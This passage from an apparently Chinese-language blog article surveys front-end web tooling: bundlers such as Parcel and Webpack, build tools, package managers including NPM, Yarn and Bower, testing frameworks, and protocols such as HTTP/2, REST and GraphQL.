Parcel是刚刚出世不久的打包或者说是构建工具，是Webpack强有力的对手。相对于配置复杂的Webpack，它号称超级快（速度是Webpack的两倍）、零配置，同时还提供了一个开箱即用的开发服务器，通过热更新来支持快速开发。Parcel也有些不完善的地方，如不支持SourceMap，不能剔除无效代码（TreeShaking)。
6. 自动化构建
写完代码，在发布前，还需要进行构建，比如使用了TypeScript等方言，需要用Babel transpile到标准的ES5，如果用到CSS预处理工具如SASS，需要从.scss文件生成.css文件，进一步，为了提高前端加载效率，可能需要将js、css等文件打包压缩，生成雪碧图，等等。根据用到的技术和组件不同，构建流程包括的项目也不相同。

grunt和gulp都是前端的自动化构建工具，grunt通过配置驱动，gulp是代码流式的处理方式，两者都有大量的插件支持各种任务。比较而言，gulp更加简单易用，上手更快，要优于grunt。
npm script就是在package.json里面的scripts属性直接定义需要执行的任务，因为是写在json文件里面，所以适合一些短小精悍的命令。
然而，由于webpack等打包工具代替了自动化构建工具的部分功能，显得自动化构建工具现在的作用不如以前了。
7. 包管理
曾经，NPM是Node模块的管理器，而Bower是前端模块管理器（另外比较有名的还有spm和component），前后端包管理分工明确。但是经过几年的发展，Bower四面楚歌，主要问题就是直接从git上拉取源码，没有统一的构建工具，缺少像NPM一样的registry。现在，官方已经不推荐使用Bower了：

而NPM逐渐有一统JavaScript包管理江湖的趋势，大多数前端模块都能在NPM上找到。
然而在2017年，NPM的地位受到了Yarn的威胁！YARN 是一个新的包管理工具，它可替换现有NPM客户端的机制，同时兼容NPM注册表。如果使用NPM客户端，根据依赖库的不同安装顺序，它会在node_modules下得到一个不同的树结构，这种非确定性的特点可能导致“在我的机器上能工作”的问题。通过将安装步骤分解为解析、获取和链接，Yarn 使用确定性算法和 lockfiles避免了这些问题，从而确保重复安装的一致性。因为它对已经下载的包进行缓存，在持续集成(CI)环境中的构建速度明显更快。
8. 测试工具
根据功能和作用进行分类：
* 提供测试环境（Mocha，Jasmine，Jest，Karma）
* 提供测试结构（Mocha，Jasmine，Jest，Cucumber）
* 提供断言功能（Chai，Jasmine，Jest，Unexpected）
* 生成，display和watch测试结果（Mocha，Jasmine，Jest，Karma）
* 生成和比较组件和数据结构的快照，以确保以前运行的更改（Jest，Ava）
* 提供mocks，spies和stubs（Sinon，Jasmine，enzyme，Jest，testdouble）
* 生成代码覆盖率报告（Istanbul，Jest）
* 提供一个浏览器或类似浏览器的环境，控制他们的场景执行（Protractor，Nightwatch，Phantom，Casper）
另外，Storybook 是一个用于定义、开发、测试UI组件的环境。让你可以创建和测试你的UI组件，就像一个在线的UI样式指南，对开发者非常有用。
9. 前后端协议
HTTP是Web应用最主要的前后端通信协议，目前应用广泛的Restful API也是基于HTTP协议的。当前主流的协议版本是1.1，诞生于1999年，当时Web应用数据交互还没有现在这么大，这么频繁，但是到了Web2.0时代，HTTP1.1的一些问题就暴露出来，比如连接无法复用和线头阻塞（Head-of-line blocking），这些问题导致HTTP请求时延过大，用户体验差。
为解决这些问题，开发者首先是在应用层面对数据进行优化，比如通过构建对静态资源进行打包压缩，小图片生成雪碧图等方式，将多个文件合为一个，减少请求数以优化整个页面的加载速度。另外为规避HTTP同域请求数的限制，将静态资源部署在不同的域名上。在协议层面，人们通过建立HTTP长连接、http streaming、web socket等方式减少重建TCP连接带来的开销。
所有这些措施都只能是一些优化，没有根本解决问题的根源。2012年，Google提出了SPDY方案，后来在此基础上，IETF提出了HTTP2.0的方案。HTTP2.0首先解决了连接共享，即多路复用的问题，同时包括头压缩、二进制格式等特性，这些使得在请求数量大的场景下，页面加载速度大大提升。HTTP2.0正在不知不觉中普及，但在一段时间内会与1.1版本共存。
SOAP协议在SOA架构中曾经被广泛使用，但相对于其厚重，在Web2.0时代， 轻量级的REST架构成为主流，并在性能、效率、使用方便性上优于SOAP。REST最大的功劳在于前后端分离与无状态请求，而REST资源化的请求方式只适合面向简单的请求，对于具有复杂资源间关联关系或者个性化的请求就有点无能为力。在一些微服务化了的应用中，为了避免前端向多个微服务同时请求数据然后再组合，不得不增加一个data-view的后端微服务专门用于数据的抽取、转化。
GraphQL是Facebook推的标准，与之前Netflix的Falcor一样，都致力于解决上述问题，即：如何有效处理不断变化的Web/Mobile端复杂的数据请求。GraphQL可以让用户在内容和反馈数据的粒度两个方面掌握更多的控制权，但将更多的职责推到了服务层，必须要在服务端搭建符合 GraphQL spec的接口，改写服务端暴露数据的方式。

一些公司已经采用GraphQL，如Yelp、Spotify、Github等。GraphQL相关的类库有Meteor团队推出的Apollo Data以及Facebook自己推出的Relay。
上面这些技术的分类划分并没有严格的标准，而且这些分类也无法覆盖Web前端应用的所有问题域。上面有些框架跨越多个问题域，解决了相关的一系列问题，而有些工具则从不同角度或用不同方式解决相似的问题。Web前端应用场景的增加、规模的扩大以及技术的发展将会催生更多更新的框架、库，甚至出现新的前端设计理念，如“关注点混合”，“微前端”，“Web3.0”等，颠覆现有技术。
总结
随着“大前端”概念的兴起，前端开发已经超出了传统Web应用范畴，包括移动应用、VR甚至微信小程序等都纳入了前端范畴。前端生态空前兴盛，前端语言、框架之多跟后端相比有过之而无不及，本文仅对传统的Web前端生态做了粗浅的概括，限于篇幅，并不包括移动端Web应用及Web构建桌面应用等相关技术，希望能够起到一点提纲挈领的作用。最后，用一张思维导图完成总结：



参考资料：
知乎，medium，segmentfault，hackernoon，微信公众号，还有很多… …